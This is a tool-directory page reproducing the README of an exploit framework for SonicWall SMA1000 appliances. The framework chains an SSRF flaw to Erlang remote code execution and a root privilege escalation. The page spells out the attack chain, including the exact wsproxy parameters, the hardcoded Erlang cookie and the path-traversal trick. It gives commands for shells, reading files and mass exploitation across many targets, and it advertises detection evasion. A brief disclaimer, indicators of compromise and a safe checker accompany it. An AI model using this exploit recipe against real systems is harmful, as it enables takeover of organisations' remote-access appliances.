Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-15409-15410-Framework — Multi-exploit framework for SonicWall SMA1000 chaining SSRF (CVE-2026-15409) to Erlang RCE and root privilege escalation (CVE-2026-15410). Features interactive shell, batch scanning, file operations, and safe detection mode for authorized penetration testing. | Kitploit
Tools/GitHubGitHub/tc4dy/cve-2026-15409-15410-framework
Privilege EscalationExploit FrameworksVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlLearning & EducationRed Teaming

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
Remote Access Tool
GitHubtc4dy/cve-2026-15409-15410-framework

CVE-2026-15409-15410-Framework

Multi-exploit framework for SonicWall SMA1000 chaining SSRF (CVE-2026-15409) to Erlang RCE and root privilege escalation (CVE-2026-15410). Features interactive shell, batch scanning, file operations, and safe detection mode for authorized penetration testing.

View Repository
54165 days agoNot yet reviewed

CVE-DoublePoC

CVE-2026-15409 CVE-2026-15410 CVSS 10.0 CISA KEV

SSRF RCE Privesc Python 3.6+

[1] CVE-2026-15409 | [2] CVE-2026-15410

SonicWall SMA1000 - SSRF → Erlang RCE → Root Privesc

Exploit Framework & Safe Detection Tool
For authorized security testing only.


⚖️ Legal Disclaimer & Responsible Use

This tool is provided for educational and authorized penetration testing purposes only.

The authors and contributors are not responsible for any misuse or damage caused by this software. Users are solely responsible for ensuring they have explicit written permission from the target owner before testing. Unauthorized access to computer systems is illegal under the Computer Fraud and Abuse Act (CFAA) and similar laws worldwide.

By using this software, you agree to:

  • Use it only on systems you own or have explicit permission to test.
  • Comply with all applicable local, state, and federal laws.
  • Not use it for any malicious, destructive, or illegal activities.

⚠️ WARNING: This vulnerability is actively exploited in the wild. Unauthorized use may result in severe legal consequences.


🔥 Vulnerability Overview

CVE-2026-15409 is a critical unauthenticated Server-Side Request Forgery (SSRF) vulnerability discovered in the SonicWall SMA1000 Appliance Work Place interface.

How it works:

  1. An attacker exploits the SSRF to tunnel through the wsproxy endpoint.
  2. This grants access to internal Erlang distribution services (port 1050/8188).
  3. Using a hardcoded default cookie, the attacker authenticates to the Erlang node.
  4. Remote Code Execution (RCE) is achieved via os:cmd/1 calls.
  5. CVE-2026-15410 is then chained to escalate privileges to root via a path traversal in the AMC (Appliance Management Console).

Key Facts:

  • 📅 Disclosed: July 14, 2026
  • ⚠️ CVSS Score: 10.0 (CRITICAL)
  • 📋 CISA KEV: Added July 14, 2026 (Due date: July 17, 2026)
  • 🎯 Affected Products: SMA 6210, SMA 7210, SMA 8200v
  • 🔄 Fixed Versions: 12.4.3-03453+ and 12.5.0-02835+

🛠️ Exploit Framework (exploit.py)

The full weaponized exploit chains CVE-2026-15409 and CVE-2026-15410 to achieve root-level compromise.

✨ Features:


📦 Installation & Requirements

Prerequisites:

  • Python 3.6+
  • pip (for requests library)

Install dependencies:

root@kitploit:~
pip install -r requirements.txt

[!] Note: exploit.py uses manual WebSocket implementation – no websockets library required. requests is only needed for the --detect feature.

🚀 Usage Examples

[2] Exploit Framework (exploit.py)

root@kitploit:~
# Interactive shell on target
python exploit.py -u 192.168.1.100

# Execute a single command
python exploit.py -u 192.168.1.100 --exec "id && whoami"

# Read a file
python exploit.py -u 192.168.1.100 --read-file /etc/passwd

# Enable SSRF detection before exploitation
python exploit.py -u 192.168.1.100 --detect

# Attempt root privesc
python exploit.py -u 192.168.1.100 --privesc

# Mass exploit from file (50 threads)
python exploit.py -l targets.txt -m 50 --exec "uname -a"

# Custom port and path
python exploit.py -u 10.0.0.5 -p 8443 --path /workplace

# Pipe mode (read command from stdin)
echo "cat /etc/hosts" | python exploit.py -u 192.168.1.100

[2] Safe Checker (checker.py)

root@kitploit:~
# Single target scan
python checker.py https://192.168.1.100

# Custom port and path
python checker.py 192.168.1.100 --port 8443 --path /workplace

# Mass scan from file
python checker.py --list targets.txt

🎯 Affected Versions

⚠️ Important: These vulnerabilities do not affect SonicWall firewalls (SSL-VPN) or SMA 100 Series.


🧠 Technical Deep Dive

SSRF (CVE-2026-15409)

The wsproxy endpoint on port 443 accepts a bmID parameter starting with -3389 and a host:port specification. By pointing host=127.0.0.1 and port=1050, attackers can tunnel to the internal Erlang distribution service.

Erlang RPC

The Erlang node uses a hardcoded default cookie: 10ecad5b446e86864832904cd439b6b70262. This allows remote authentication and execution of any os:cmd/1 call.

Root Privesc (CVE-2026-15410)

Once authenticated, the exploit writes a shell script to /var/tmp/ and triggers the AMC remove_hotfix XML-RPC endpoint with a path traversal (../../../../var/tmp/script.sh), executing the script as root.


🔍 Indicators of Compromise (IoCs)

SonicWall recommends checking:

  • extraweb_access.log for /__api__/login or /__api__/logout (200 status)
  • extraweb_access.log for /wsproxy with suspicious host params (101 status)
  • ctrl-service.log for hotfix rollbacks with path traversal
  • /var/lib/unit/conf.json containing routes for /__api__/login or /__api__/logout

📚 References

  • NVD - CVE-2026-15409
  • SonicWall Advisory (SNWLID-2026-0008)
  • CISA KEV Catalog
  • The Hacker News - Two SonicWall SMA 1000 Zero-Days Exploited
Download Tool
FeatureDescription
🚀 SSRF → Erlang RPCAutomatically tunnels through wsproxy to reach internal Erlang nodes.
💻 Remote Code ExecutionExecute arbitrary OS commands via os:cmd/1.
🔐 Interactive ShellSpawn a live shell with support for privesc and download commands.
👑 Root PrivescLeverage CVE-2026-15410 to escalate to root using AMC path traversal.
📁 File OperationsRead and write files on the target system.
🌐 Batch ScanningMass exploit multiple targets with threading (-l flag).
🎯 SSRF DetectionOptional --detect flag for safe vulnerability verification.
⚙️ CustomizableOverride WebSocket URL, Origin, User-Agent, Cookie, and more.
🧩 No Extra DependenciesUses only Python standard library (except optional requests for detection).
🔌 Raw WebSocket ImplementationNo external WebSocket libraries — custom socket-level handshake avoids library-specific signature fingerprints for better OPSEC.
ProductVulnerable VersionsFixed Versions
SMA 621012.4.3-03245, 12.4.3-03387, 12.4.3-03434
12.5.0-02283, 12.5.0-02624, 12.5.0-02800
12.4.3-03453+
12.5.0-02835+
SMA 7210Same as aboveSame as above
SMA 8200vSame as aboveSame as above